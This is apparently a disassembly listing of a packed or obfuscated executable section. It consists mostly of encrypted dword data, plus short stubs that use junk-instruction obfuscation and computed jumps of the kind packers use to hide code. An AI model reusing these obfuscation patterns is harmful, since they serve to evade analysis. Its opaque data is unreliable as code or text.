		dd 1CEFCD5Bh, 0EAD52CD5h, 1FECD201h, 0BF36FBAEh, 840144EAh
		dd 0E924D869h, 5B0F053Ch, 0AF5E7F98h, 0AE896B3Eh, 87A44A4Fh
		dd 0B1CC87B2h, 2E18DF5Fh, 0B10EDD71h, 8148C52Ah, 88537C5Bh
		dd 0BD4A7265h, 61A88174h, 0B030C892h, 12131CA5h, 9C8h
		dd 0CD6FA23Dh, 9349C62Ah, 0C77D8634h, 924ABB20h, 5C808733h
		dd 0E00C4BC6h, 0ECD2F527h, 0F3DAFD1Fh, 0E607EE16h, 2ACFF527h
		dd 999490E9h, 98580D23h, 99BA638Ch, 299685E0h, 1D907556h
		dd 64AD5A4Ch, 8F2FC871h, 5EF4C163h, 62A7B5BBh, 0FE56BE6Bh
		dd 0D4E3375Dh, 5FC995B9h, 0DE23DE03h, 95A43C3Dh, 2ACCB929h
		dd 8ED8DB27h, 0AB514E2Fh, 68AA868Eh, 188F8C33h,	74FC6AF6h
		dd 6237BE47h, 45C772A7h, 671D973Eh, 9A3640Bh, 1E20047Eh
		dd 191043D3h, 3E2998FBh, 6C349841h, 68114266h, 0E51D9E86h
		dd 8837D438h, 0D7220F1Fh, 0EA0CFDE0h, 0F92BE20Bh, 0E51CF1CEh
		dd 0C96E5EEFh, 3ED063A8h, 45A335A5h, 0A08C60A3h, 10314951h
		dd 75578247h, 62237ED8h, 0D0A96A41h, 4D1D9F51h,	0C21E9950h
		dd 0CF8CA94Dh, 239C3B81h, 8976AB58h, 0B2517764h, 9D64C577h
		dd 0A267FB7Eh, 6B8B7817h, 6FAA638Ch, 67F089CAh,	7E6D17A2h
		dd 0CF5FAA5Fh, 6DAE5316h, 17A2680Ch, 86836A89h,	29BFAB4Bh
		dd 3AEF1EBFh, 904A54FFh, 37C01D9Bh, 19E17594h, 0BE73903Ah
		dd 0EA5E9B5Dh, 6B7A7BA2h, 890h,	0F527EA05h, 0FB21EED2h
		dd 0EF15EEDCh, 0FA22E308h, 0E418EFDBh, 38A4D34Eh, 24CA2DCFh
		dd 2B9235E7h, 1EBF26DEh, 0D2A74DEFh, 99933841h,	7010B523h
		dd 0F48046CEh, 64DBE7DDh, 9E72F1A7h, 944D8415h,	9605F687h
		dd 0A0B67329h, 0FB1852C4h, 29960582h, 12C702FFh, 1EEFD0E7h
		dd 192CC297h, 2F92EF3Bh, 0EC19C23Dh, 4CF5B24Ah,	29E60AF5h
		dd 0EE15C3A4h, 0FBE41323h, 890CFDE0h, 46E319D0h, 33DC04FBh
		dd 991B5528h, 2CD5D223h, 991B8EEFh, 0F81E0B23h,	0E107D4F9h
		dd 43E6E722h, 28413BD1h, 4FDFD8D7h, 0A45D8513h,	0B717EA30h
		dd 1E30C864h
		dd 0BCFC0211h, 4FAA2991h, 9F53B9C4h, 0BA59361Dh, 1D9F53BFh
		dd 648A3F3Ch, 0AE448F8Ch, 5ABEF024h, 7BE4C59h, 8C330000h
		dd 58785F85h, 786285B7h, 4D6E598Bh, 796184B8h, 45BC568Eh
		dd 0AB51B616h, 0B369A24Ch, 0BC60A914h, 0A359B419h, 0A2DB7841h
		dd 1F239992h, 69FF06AAh, 0CEEF0831h, 7B9B4E3Fh,	4F7C83BEh
		dd 78ADA0B6h, 9D2F9370h, 21BE39E0h, 3DF411BAh, 0EFFE007h
		dd 3E3F01D3h, 3A2754CCh, 912ECB14h, 0F70CAE2Bh,	0E7EE23F6h
		dd 0D6401C32h, 836A558Ch, 7EC37086h, 567A5781h,	0AC7D70B9h
		dd 189C78Ah, 249B2997h,	34BC52BBh, 0C8259247h, 7D7A9F45h
		dd 6786A85Bh, 94068786h, 0C146A602h, 2DD41DCCh,	39DD2A92h
		dd 563F5FFCh, 9D7A2396h, 0A403FB7Eh, 468B7817h,	0F5950F75h
		dd 171E17A4h, 700h, 85B75A75h, 6B917E62h, 7FA55E8Ch, 6A927358h
		dd 74A85F8Bh, 8834639Eh, 547A5D7Fh, 7B6285B7h, 4E6F568Eh
		dd 2B71DBFh, 99912851h,	8040A523h, 23AA638Ch, 0CA729B44h
		dd 31E2089Eh, 29968548h, 7718C8D3h, 0CC3263EAh,	607E8CFh
		dd 16EB16CBh, 96447405h, 2234F129h, 8F76132Fh, 0FECB412Fh
		dd 475A657h, 81239D68h,	31E03084h, 0FBA850E6h, 322C49FAh
		dd 360B239Dh, 322D500Bh, 0FDAA239Dh, 0F2BCAA59h, 32710C47h
		dd 31EE239Dh, 0A74E81Dh, 333148D6h, 13000000h, 0DFFF69FFh
		dd 25ECBD30h, 97CF5FFCh, 3DEA2F8Fh, 726E0BB8h, 0C24D239Dh
		dd 4E3EB294h, 0E0648D6h, 96EC3801h, 0A347B058h,	96B87164h
		dd 1008Ah, 638C5C00h, 85E099BAh, 0A05D2996h, 0CA89B069h
		dd 299685AFh, 6DF6F2Ch,	934EB921h, 9033F341h, 0B1689D9Eh
		dd 966DD7A2h, 87A75429h, 9974595Eh, 806A5514h, 5B847383h
		dd 0A3C78AB2h, 81299671h, 168CD98Bh, 5079B72Fh,	1BDA7CB5h
		dd 4AC529B2h, 557A5D7Fh, 8F92409Bh, 0F03940D3h,	0AFFB6DFDh
		dd 9640D9A4h, 52775629h, 8EB37EB3h, 8F5685CDh, 0AE53502Fh
		dd 0CE60AB11h, 913CC364h, 0AC5B7F78h, 1248DE8Ah, 1EEFD0E7h
		dd 44203BF8h, 2E29991Eh, 0CC6BD1A6h, 34DA35B4h,	9D1ABFBCh
		dd 0EA0FCA3Dh, 0A1265029h, 3ED0CD1Dh, 1EE9D1F4h, 0F2485DBDh
		dd 2D3839BEh, 580h, 537DAF5h, 0EB11FEE2h, 0FF25DE0Ch, 0EA12F3D8h
		dd 0F428DF0Bh, 8B4E31Eh, 0D4FADDFFh, 0FBE20537h, 0CEEFD60Eh
		dd 82379D3Fh, 9990A8D1h, 0C02523h, 40B7608Ch, 0ADD06B9Ch
		dd 2A299685h, 0A790B47Dh, 0B95DAE10h, 0C478953Ah, 3169FF6Ah
		dd 97E34B08h, 0E4FE2F8Fh, 2EC58F5Ch, 51B2189Fh,	8D448D5Ch
		dd 8C836B54h, 25BE5009h, 0D8849084h, 0B8F5B05Dh, 0B5C6B396h
		dd 6AA5239Ch, 0BF5AB27Ch, 2848E6Ch, 0B933D87Eh,	7E48D6EEh
		dd 0E9h, 0AA638CC8h, 6F984423h,	7E5642CAh, 35FDCF0Fh, 9621C821h
		dd 19E0D53Ah, 95FD7FFAh, 0CAFFFC29h, 1452124h, 0B1232996h
		dd 0F6DC6ACFh, 0FDE7013h, 7FBA5FAEh, 95E3A9D4h,	0D5792629h
		dd 0BA537C5Bh, 349E7633h, 0F9F191CEh, 4BBBDFFAh, 0DE625269h
		dd 60BA2C38h, 557780B9h, 0A5ADA0B6h, 702F8F88h,	4FD991B3h
		dd 0EE13EE13h, 9D5C4C2Dh, 3ADCC923h, 994CEE17h,	73AE5B29h
		dd 72A7608Ch, 93A36685h, 699E3EA9h, 0F20DB68Ah,	0E8CDE6BEh
		dd 464h, 0E91BF6D9h, 0F72DE2FEh, 0E319EAD0h, 0F62ED704h
		dd 0E81CEBCFh, 44A8D74Ah, 18B621C3h, 47A651F3h,	12BB1AC2h
		dd 0DE9B49FBh, 998F3C3Dh, 7414B923h, 7D8831CEh,	55B21AD9h
		dd 0BEA828ACh, 9257B6F1h, 5045C825h, 5EBB7599h,	7F9C7761h
		dd 299627FEh, 0B3438E7Bh, 0CA729B44h, 78638C74h, 6A3FB657h
		dd 5F7D7A9Fh, 0DE7029ACh, 6F5B6405h, 0A9121598h, 0C42A955Ch
		dd 83934647h, 1AC24B74h, 2EDB02FDh, 664A4E08h, 0C4B5669Bh
		dd 41299685h, 85C6B744h, 46432996h, 0F822B4B0h,	0D416B641h
		dd 62460AFBh, 3DD118E1h, 9AF63F0h, 43D2F8Fh, 9CD82657h
		dd 0EE6A323h, 0BC075BDEh, 0DE163857h, 17572231h, 27D4239Dh
		dd 31F043E2h, 0D2C7D28Eh, 38E31E44h, 8560AA82h,	56619885h
		dd 8F7A6178h, 0BF2BB45Ah, 0F148F129h, 6E951762h, 5CF79479h
		dd 796E9521h, 628E19Eh,	5A9BEA29h, 0E6007F6Bh, 9F9B1882h
		dd 53BA235Bh, 55428762h, 49209578h, 73A05980h, 73720C0Ah
		dd 0BC1D9A87h, 6F88A549h, 3944CF4Eh, 0B673720Bh, 0E93AE3C9h
		dd 0C2CC76E5h, 0E034D507h, 304F5BF2h, 3BBA5CB7h, 0AAA07B92h
		dd 0EE0323B9h, 31EE0C5h, 2C930000h, 38983FE5h, 18C225D7h
		dd 2D8E39EBh, 19C124D8h, 0A5DC36EEh, 0B31D6F6h,	0D30902ECh
		dd 9C40C9F4h, 0C3799439h, 0C2BB5821h, 3F23998Eh, 31CEE68Ah
		dd 5B0E7F8Ah, 7A933CBBh, 719238BFh, 6EA0619Bh, 214802Eh
		dd 9DCC40E9h, 4B29CC4Ah, 6B93E675h, 13102996h, 0BA2C38DEh
		dd 0C2778C2Eh, 966BE891h, 71B86529h, 75138BC8h,	6E892F8Fh
		dd 5E96B84Dh, 0F1C17BA1h, 8AF320D9h, 7239D62h, 4934DF1Ah
		dd 0C6239D62h, 0BF2935D9h, 719DBE63h, 0C429967Bh, 4C252ED7h
		dd 14DA32B9h, 0D3F8B6C0h, 7086B5DEh, 13862F4h, 7875D438h
		dd 78250EC4h, 1604A2DBh, 0A7621F61h, 0D86C487h,	0BC69670Fh
		dd 0B937A139h, 0EC19C20Fh, 30F930E9h, 0C03B4A09h, 0E3A06119h
		dd 0BF1CC13Eh, 2734ED1Ch, 55203656h, 0E91BD6D3h, 900FE1FEh
		dd 7E4E5F71h, 3C00DB16h, 84617150h, 2268A6Bh, 349B0000h
		dd 20C027DDh, 40AA4DEFh, 15B621C3h, 41A94CF0h, 8D041EC6h
		dd 0E319EECEh, 0B31DA04h, 0D40801ECh, 9B41CCF1h, 0AAD38039h
		dd 2723998Dh, 638CFEC2h, 41B45578h, 8D2CA168h, 3ABB4872h
		dd 593CF5Fh, 0FFCA41ABh, 0AB0139DAh, 0FFFC2F8Fh, 56053CDDh
		dd 239D5F23h, 953E3A0h,	0B21BA4A8h, 5FCDB06Bh, 5D4A239Dh
		dd 70E68294h, 481DEF2Ah, 250383C1h, 21D855F9h, 43D33896h
		dd 964E0210h, 0AA699029h, 1DA41CCFh, 37BF4F4Ch,	6253B418h
		dd 76A34287h, 91A56089h, 97091BBEh, 61C113D6h, 44BE2AC8h
		dd 0C73EAB14h, 670313C6h, 8770A9F1h, 0A592A463h, 0AA4DD076h
		dd 0C113EE6Ah, 4154EE37h, 7BFE1D24h, 0F85EB834h, 1613EB0Bh
		dd 0FFDDDA9Fh, 0FCD0890Ch, 0E206B20Bh, 6AF61803h, 0E07BA6FCh
		dd 64B489A9h, 0BFADF0Eh, 0DF1ACF8Ah, 0A21B89EDh, 8AAC8516h
		dd 60AD12ADh, 0AAD380B9h, 2058BA94h, 91484DBEh,	54DE702Dh
		dd 0F2C14C71h, 65DCE638h, 1162436Ch, 86000001h,	577EA66Bh
		dd 81649877h, 4D78AC57h, 8463996Ch, 0B78DAF58h,	6A9D3D7Ah
		dd 62A913B2h, 59B01BBAh, 729B44A3h, 0C44F28CAh,	23998BB9h
		dd 8CEF9136h, 8623AA63h, 85DDA0BBh, 0AD5A2996h,	1F4BDD89h
		dd 968589F4h, 0D0190629h, 0ACF8EA29h, 0E6A32F8Fh, 0CBF4D93Bh
		dd 5CA8503Fh, 5EC880BAh, 88760714h, 36F3239Ch, 14B946FBh
		dd 3BD855F9h, 29997211h, 651843F0h, 0E21D9F9Eh,	0CA35EC25h
		dd 9D46E825h, 24D8359Ah, 0FCF11CC1h, 0CFF8F957h, 0EA25C948h
		dd 33DC04E3h, 174322C2h, 0E5F1C647h, 1C37E607h,	0F26F4361h
		dd 31E821DEh, 43324B08h, 0F2AFF26Fh, 0CAF3D25Ch, 0A35EA911h
		dd 6F440578h, 4C8582F2h, 26C02A95h, 8265BD38h, 8273BEEEh
		dd 595E87A7h, 376A570h,	80F26F0Fh, 0C3474E83h, 5A4E967Eh
		dd 0ADDB8767h, 806C7A89h, 9176AE5Fh, 0C44FC426h, 0F26EFBB9h
		dd 0D804936h, 923BBA5Ch, 224CA449h, 623A4FEDh, 5B529752h
		dd 35Ah, 390FA600h, 29AC658Ch, 696CA13Eh, 23AA5F7Eh, 7C719A44h
		dd 35B84F7Bh, 787D8A32h, 3ABB4A6Fh
		dd 75788B2Dh, 0CCC14E72h, 4EC831Bh, 53242489h, 4BBh, 245C0100h
; ---------------------------------------------------------------------------
		add	al, 5Bh
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 3AB30CFBh
		push	edx
		mov	edx, 7B8D6C2Bh
		neg	edx
		not	edx
		dec	edx
		xor	edx, 28472053h
		sub	eax, edx
		pop	edx
		add	eax, 1F142AB1h
		mov	edi, eax
		pop	eax
		push	0E5Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	7432h
		mov	[esp], edx
		mov	edx, edi
		mov	[esi+8], edx
		pop	edx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		db 20h,	5Bh, 79h
		dd 0C6084992h
		db 0FEh, 6, 0CEh
; ---------------------------------------------------------------------------


loc_5AB1B3:				; CODE XREF: .XComp0:005AA0ACj
		mov	eax, 5FCFB3Ch
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 16B4746h, 2258145Fh,	7EBF02F4h, 737CAC39h, 52C6286Ch
		dd 127AB944h, 18808D08h, 40DF2A7Bh, 2B6117DDh, 6DBFC070h
		dd 2469BB32h, 4698D05Fh, 250FB640h, 541B2AD3h, 7FC009DBh
		dd 24A6B953h, 62232577h, 39EBh,	2CC00B0h, 2E400B0h, 0B0h
		dd 0F8560000h, 0F456476Ch, 0FCE17675h, 0F8332264h, 0BF4F4F6Fh
		dd 917D4E65h, 0DDCC764Fh, 0E50A224Dh, 0FF47524Eh, 0F4634A55h
		dd 0F1884660h, 7911226Bh, 91222202h, 0CCD27F21h, 95AC4E88h
		dd 95606680h, 91222214h, 29D27744h, 0A62A3EBh, 1A2963EFh
		dd 0A0BFABC1h, 1214DB11h, 68B9EBBCh, 98312204h,	83979F82h
		dd 0E51127F8h, 1ADB7218h, 95FD9AC1h, 14AB2201h,	94E80AE8h
		dd 620CBF8Ch, 42BB27FAh, 2CA17A5Ah, 94E830B4h, 0C19F5601h
		dd 95FD9A52h, 14AB2201h, 94E80AE8h, 61FBBF8Ch, 42BB27FAh
		dd 2C097A5Ah, 94E80A28h, 0CB419B67h, 1CCFE28Ah,	94DB3D30h
		dd 911BCB56h, 50662201h, 46ACF853h, 53583BE8h, 894E45Bh
		dd 0C78DDB19h, 7914226Bh, 91222202h, 0C9D27A21h, 95AC6688h
		dd 95606680h, 9122221Dh, 0C8D27241h, 3EAC175Fh,	0E40741C4h
		dd 851FAF88h, 9A7927F8h, 0F7560006h, 0A5C5EC8Ah, 1B9D7B25h
		dd 93972D43h, 23882201h, 40F1DD86h, 0B827DB09h,	680FAFB4h
		dd 810DAF04h, 6841DEC4h, 912EAB0Eh, 1F1E2201h, 91882207h
		dd 8199B788h, 41DD27F8h, 7944226Bh, 91882202h, 0CC877F21h
		dd 95064E88h, 95356680h, 9188221Ch, 4C877744h, 82AF9FFBh
		dd 5AC04209h, 8C1DA9F6h, 0FB41DB2Ah, 0C4224805h, 911121E9h
		dd 52D50201h, 0B528AB5Ch, 0B566A305h, 91113505h, 52DD6701h
		dd 0BEE4D7C1h, 39F0A367h, 0E8ACA909h, 798DDB0Dh, 91442205h
		dd 91223201h, 9111A20Eh, 1AD82201h, 1A400645h, 0B566AB01h
		dd 0C9E3A905h, 0B949AF32h, 95AC27F8h, 7D222201h, 9E112203h
		dd 91882984h, 94C62D01h, 2B222201h, 0D8DF7C11h,	0B5364451h
		dd 0B500A9D0h, 88A72D05h, 79112201h, 91882207h,	0F1088BDAh
		dd 99CBB434h, 89112201h, 86CE82D7h, 0C89B12D0h,	9ECB228Ah
		dd 0CF112201h, 904148C1h, 88E44DA0h, 91DD2232h,	0D59876CAh
		dd 2EEE2625h, 0FB1C2A55h, 92CA7401h, 0B1112201h, 18D6E15Fh
		dd 10400675h, 8B260645h, 0D7112201h, 5F37E157h,	0DCFF6329h
		dd 9148DBB8h, 91112DE8h, 9E495701h, 60D21166h, 0D0D9F474h
		dd 61C49605h, 91E2F2FEh, 9147CA50h, 0C8022201h,	0DD987BC2h
		dd 0D5092625h, 91532625h, 0C0632201h, 0B9A038C2h, 183DA9CBh
		dd 1841DB12h, 6DDE3784h, 0C1114804h, 918821E9h,	521C0201h
		dd 0B566AB59h, 0B555A305h, 91883905h, 52146201h, 790EC70Bh
		dd 0A7E2E868h, 1835AB56h, 0CF41DB1Bh, 5D27DA8Ah, 18112203h
		dd 6D743B84h, 8984A104h, 6D3FA788h, 512227FDh, 918ACEB8h
		dd 0FBEED101h, 92CA7701h, 0B1112201h, 18D5E15Ch, 1040066Dh
		dd 84260645h, 0D4112201h, 0F5EDE154h, 914428E8h, 787E6001h
		dd 51D26321h, 0F158EF98h, 0A2A1A78Ah, 94CA27F8h, 84112201h
		dd 3ECD772Bh, 0E1709D67h, 80CB435Fh, 36112201h,	2595D34Fh
		dd 5A946DCDh, 0B9F4F285h, 0A5600BB8h, 8911A7C7h, 0FB0727F8h
		dd 92CA7001h, 0B1112201h, 18D2E15Bh, 10400655h,	8A260645h
		dd 0D3112201h, 0A91BE153h, 0C4679C73h, 46A38885h, 0A3EA1A6Fh
		dd 0B5C5A730h, 102227F8h, 79BCAFE3h, 91112205h,	0DEF495Fh
		dd 1A14ACB0h, 0B566A9CBh, 0D5469B05h, 910353C7h, 95606688h
		dd 66549B67h, 96992D59h, 9E882201h, 91442386h, 24DDDA01h
		dd 94E82AD0h, 79D9226Bh, 91442202h, 0C8E17B21h,	95356E88h
		dd 95AC6680h, 91442215h, 0C9E17340h, 0A2D89F28h, 140527F8h
		dd 94B8E711h, 7977226Bh, 91112202h, 0CC4B7F21h,	95604E88h
		dd 95066680h, 9111221Ah, 4B7744h, 91442C0Ch, 6ED44003h
		dd 0C41148D1h, 918821E9h, 52190201h, 0B54EAB5Ch, 0B555A305h
		dd 91883405h, 52116701h, 18346743h, 68161384h, 1C0DAB04h
		dd 0FB41DB0Eh, 92CA7101h, 0B1112201h, 18D3E15Ah, 1040065Dh
		dd 86260645h, 0D2112201h, 7258E152h, 1022F653h,	0F7CC68D6h
		dd 9E71D88Ah, 9188248Dh, 0D9DA301h, 1B2C434Ah, 149C43F9h
		dd 94711134h, 7915226Bh, 91222202h, 0C8D27B21h,	95AC6E88h
		dd 95606680h, 91222218h, 18D27340h, 0EEF4D179h,	7CC1AB9Eh
		dd 0FB27DB12h, 92F97301h, 0B1882201h, 181DE158h, 1026064Dh
		dd 8C150645h, 0D0882201h, 0D884E150h, 0C79C0D6Fh, 87FAED6Eh
		dd 0B8CDA708h, 57B127F8h, 683ABB84h, 917B7104h,	918BCA54h
		dd 0CC642201h, 0FDAB7FC2h, 0D5902625h, 91912625h, 0C4012201h
		dd 0D4E4D3C2h, 1A28A6D3h, 68A5C3BCh, 62F32D04h,	50A84169h
		dd 91982DFFh, 10882201h, 53FF0635h, 82CB2071h, 8E112201h
		dd 0E077095h, 47F5A23Dh, 1F9ECE1Eh, 0C17A1DD6h,	247700E5h
		dd 94BD2AD0h, 7973226Bh, 91112202h, 0C84B7B21h,	95606E88h
		dd 95066680h, 9111221Dh, 0E54B7340h, 3969DD02h,	0F469AC89h
		dd 0BF78978Ah, 140527F8h, 94B8E711h, 91222AE8h,	68CD0A01h
		dd 0ED47888Fh, 0BCD1ABBAh, 6E27DB17h, 0D4ACABD1h, 108DDB05h
		dd 0CDE61DFh, 7CA7AB7Dh, 0FB14DB1Bh, 92607501h,	0B1442201h
		dd 187DE15Eh, 1015067Dh, 888C0645h, 0D6442201h,	0E4AE156h
		dd 4B60B55Eh, 0B9F59F88h, 148227F8h, 94DB3A98h,	92952D52h
		dd 9E882201h, 1CCFDCB6h, 94DB3A04h, 911126E9h, 894C9101h
		dd 914CCAD9h, 58D12201h, 1E8EFA39h, 4A32D783h, 0CB35E2AAh
		dd 912CCB51h, 32B12201h, 7D8CF44h, 7D5250C1h, 0AC840F64h
		dd 9535668Ah, 91882EE8h, 5F5E1401h, 0D41647DCh,	0BE93DB69h
		dd 0F188A9E3h, 78254261h, 91222210h, 0A516A611h, 32B3CC3Eh
		dd 0B12DAC37h, 8081AEC0h, 187043B0h, 0F18C0645h, 349505BEh
		dd 41A94447h, 2C9A7A60h, 94713BB8h, 999597FEh, 107327F8h
		dd 0EAF518DEh, 24037D58h, 94BD316Ch, 5432A78Ch,	917B27FDh
		dd 918BCA54h, 0CC642201h, 0FDAB7FC2h, 0D5902625h, 919F2625h
		dd 0C4012201h, 19C545C2h, 0D51F9DF6h, 4030E02h,	94BD2EA8h
		dd 9148F2FEh, 9112CA52h, 0CAA82201h, 0CDCD79C2h, 0D5A32625h
		dd 91082625h, 0C2CB2201h, 35C384C2h, 9E47D021h,	9111208Ah
		dd 1873A901h, 685E8F84h, 14E4DE04h, 94E83A98h, 88032D46h
		dd 78442201h, 91222215h, 0DA8BEEF0h, 7F930470h,	856A561Eh
		dd 7A709AC0h, 0DD4A87AAh, 918826E9h, 4F998B01h,	91AF2DB6h
		dd 0C1112201h, 0D503F28Ah, 2F132625h, 9651DF9Dh, 7911A95Fh
		dd 91882210h, 528D6EA1h, 7B5BE189h, 4A938F56h, 6D3B5D41h
		dd 95FE44EFh, 0D5AB7849h, 9AF82625h, 26882201h,	154638B3h
		dd 1C78AC68h, 0FB493C7Bh, 92607401h, 0B1442201h, 187CE15Fh
		dd 10150675h, 8B8C0645h, 0D7442201h, 1799E157h,	0B2765D6h
		dd 8A3644FCh, 40F1DD37h, 1A27DB09h, 6817F78Ch, 810DAF04h
		dd 0FB41DEC4h, 92CA7201h, 0B1112201h, 18D0E159h, 10400645h
		dd 87260645h, 0D1112201h, 0A19DE151h, 1094DDD2h, 6D842DC3h
		dd 3C94AB71h, 0FB8DDB33h, 92AC7501h, 0B1222201h, 184EE15Eh
		dd 108C067Dh, 84400645h, 0D6222201h, 10A6E156h,	9189AE0Eh
		dd 57B82201h, 683ABB84h, 161E6504h, 91882202h, 10BEA967h
		dd 0A5F4BCE8h, 5CE54A48h, 0F1DE9A85h, 0F08BA967h, 0B516A358h
		dd 0A849FF8Fh, 9183A60Eh, 97AD2201h, 0E9222201h, 0C309BD4Ah
		dd 403DDD0Ah
		dd 1C41DB09h, 6DE73284h, 0C6114804h, 918821E9h,	521B0201h
		dd 0B55EAB5Eh, 0B555A305h, 91883605h, 52136501h, 95A62D24h
		dd 0F7112201h, 6EEF26BFh, 0C64448D1h, 912221E9h, 524E0201h
		dd 0B5F4AB5Eh, 0B500A305h, 91223605h, 52466501h, 9A61423Dh
		dd 0BF442201h, 0B6E82747h, 4642993Eh, 9961BD2Bh, 8A442201h
		dd 0CBC57B24h, 0F050DEBDh, 0B4E1A788h, 40C427F8h, 8A7E49Bh
		dd 0D614DB19h, 79DF226Bh, 91442202h, 0CEE17D21h, 95355E88h
		dd 95AC6680h, 91442219h, 71E17546h, 95D7DC87h, 918EA00Eh
		dd 2CCD2201h, 94DB024Ch, 723C5669h, 0B5BCA3E2h,	0D86A3328h
		dd 7970226Bh, 91112202h, 0CB4B7821h, 95607688h,	95066680h
		dd 91112214h, 0E44B7043h, 40F1DD4Bh, 2B27DB09h,	0FBF552C1h
		dd 5498A78Ch, 14CD27FDh, 94DB3088h, 5090F2FEh, 980A0FC9h
		dd 8075A788h, 4EA327F8h, 0F698E393h, 2403F2FEh,	94BD03E0h
		dd 0BAABA788h, 9EF827F8h, 9C882201h, 0BD155FF8h, 0C2C8BFB5h
		dd 4E7E4495h, 1DEE1FB4h, 0C34448D9h, 912221E9h,	524B0201h
		dd 0B5DCAB5Bh, 0B500A305h, 91223F05h, 52436001h, 3B6ABB0Eh
		dd 38BEC34Ah, 2198E58Ch, 0B56D7B77h, 0BC35A905h, 9B41DB09h
		dd 0AEA62DC1h, 0FB112202h, 92607401h, 0B1442201h, 187CE15Fh
		dd 10150675h, 898C0645h, 0D7442201h, 5382E157h,	9E5D6476h
		dd 9188218Bh, 6BCF4401h, 89BBA7C7h, 0FB5E27F8h,	92607301h
		dd 0B1442201h, 187BE158h, 1015064Dh, 8A8C0645h,	0D0442201h
		dd 0DA07E150h, 0BE9B38ABh, 966101DBh, 48442201h, 78DAAF41h
		dd 95F91AB5h, 55882201h, 78FBA26Dh, 91222209h, 5EECCFA1h
		dd 26B42688h, 914ECA51h, 0F0DA2201h, 0D078A31Eh, 0BBAFADEBh
		dd 0A1539B67h, 0B566A95Eh, 94982D05h, 2F882201h, 0A141AA72h
		dd 62A9228Ah, 95356688h, 918BA40Eh, 1A222201h, 91487AF3h
		dd 9112CA56h, 0CEA82201h, 0EDCD7DC2h, 0D5A32625h, 91072625h
		dd 0C6CF2201h, 8BC958C2h, 8293B78Ah, 287127F8h,	0CFC38E82h
		dd 91442BE9h, 1E1FC401h, 0E079AF31h, 24899524h,	94BD078Ch
		dd 24DD435Bh, 94E82AD0h, 460BBh, 81C1AF72h, 1027DEC4h
		dd 82CCA9C6h, 0FB58DD15h, 92AC7201h, 0B1222201h, 1849E159h
		dd 108C0645h, 87400645h, 0D1222201h, 1812E151h,	63034431h
		dd 9141A40Eh, 0A1982201h, 122FE5B7h, 91E206C1h,	9147CA56h
		dd 0CE022201h, 0ED987DC2h, 0D5092625h, 91592625h, 0C6652201h
		dd 0CD8229C2h, 6FEA9849h, 1890098Bh, 6808E784h,	1894A904h
		dd 0FB8DDB2Ah, 92AC7401h, 0B1222201h, 184FE15Fh, 108C0675h
		dd 84400645h, 0D7222201h, 0FA72E157h, 80B9BF8Ah, 154B27F8h
		dd 91222203h, 0FB52C2B0h, 92607101h, 0B1442201h, 1879E15Ah
		dd 1015065Dh, 868C0645h, 0D2442201h, 0A3D3E152h, 5B9A2957h
		dd 86EDB728h, 8ACF27F8h, 7973226Bh, 91112202h, 0C84B7B21h
		dd 95606E88h, 95066680h, 91112217h, 0A24B7340h,	1C6D0E02h
		dd 94DB3020h, 2B77398Ah, 8A03907Dh, 0A2BD9D0Eh,	0BCAFA9D9h
		dd 1814DB1Fh, 688C0F9Ch, 0C6444804h, 912221E9h,	524E0201h
		dd 0B5F4AB5Eh, 0B500A305h, 91223A05h, 52466501h, 0AF498076h
		dd 0BCD1ABA0h, 6927DB19h, 0D52BE880h, 144E0A6Ah, 94BD3A98h
		dd 0C4224846h, 911121E9h, 52D50201h, 0B528AB5Ch, 0B566A305h
		dd 91113E05h, 52DD6701h, 0A87F2E82h, 0E7E30818h, 149CA9D5h
		dd 0F98DDB2Fh, 10CC96Ah, 80B99D67h, 0AF352680h,	18AFB7F3h
		dd 684CBBBCh, 6AA94404h, 99C097FEh, 40327F8h, 94BD0318h
		dd 0B483B78Ah, 149C27F8h, 9474E711h, 7914226Bh,	91222202h
		dd 0C9D27A21h, 95AC6688h, 95606680h, 91222217h,	0C2D27241h
		dd 10EEA7CBh, 6EC6B2CBh, 3CA7ABD1h, 0C714DB33h,	918BA40Eh
		dd 2E4B2201h, 4D947CF3h, 8DDBA341h, 1AC62D8Fh, 1ABEA901h
		dd 48B72901h, 1814DB2Dh, 689ABB84h, 0C3444804h,	912221E9h
		dd 524B0201h, 0B5DCAB5Bh, 0B500A305h, 91223805h, 52436001h
		dd 0A6C372F9h, 18694E71h, 68367BB4h, 0BCA4A904h, 788DDB06h
		dd 9144237Fh, 7977226Bh, 91112202h, 0CC4B7F21h,	95604E88h
		dd 95066680h, 9111221Bh, 424B7744h, 55A0D0B8h, 9DCB7073h
		dd 0E1112201h, 87ACB40Dh, 0C626DF1Fh, 9EA87E74h, 149CD5BEh
		dd 9474DE3Ah, 914433E8h, 5A430E01h, 0C24B4EE6h,	609E2345h
		dd 588585F4h, 0F172B52Fh, 0E2D89867h, 918832E8h, 27083501h
		dd 0CA139C11h, 91856779h, 573B2B57h, 95CD43A6h,	4CBFAB25h
		dd 6E14DB33h, 68A58F94h, 0ACF9AB04h, 1C27DB1Eh,	6DED639Ch
		dd 0C0884804h, 914421E9h, 527B0201h, 0B55DAB58h, 0B5CCA305h
		dd 91443B05h, 52736301h, 4B710987h, 0C1747B1Fh,	914425E9h
		dd 1B8D8101h, 1373B4A3h, 18D1CD8Bh, 912E061Dh, 9121CA51h
		dd 0C9312201h, 0D5017AC2h, 0D5C52625h, 91352625h, 0C1512201h
		dd 9479E4C2h, 60C5747Ah, 8A2A4E69h, 92982D5Fh, 9E882201h
		dd 0F114F4BEh, 0CF9E9456h, 911125E8h, 0F868A501h, 894B0EB3h
		dd 0B526AB60h, 7944226Bh, 91882202h, 0CC877F21h, 95064E88h
		dd 95356680h, 91882219h, 30877744h, 53B1D30Dh, 8418B7FEh
		dd 91E227F8h, 9147CA54h, 0CC022201h, 0FD987FC2h, 0D5092625h
		dd 915D2625h, 0C4672201h, 8F4697C2h, 9E6D4D4Dh,	9144268Fh
		dd 0CC9C4401h, 848CAB89h, 108DDB09h, 401C8DCBh,	54A7AB0Eh
		dd 0F114DB2Bh, 80719F88h, 791727F8h, 91222206h,	9CF523C3h
		dd 0CE9ED022h, 14824358h, 94DB3A98h, 0C0114852h, 918821E9h
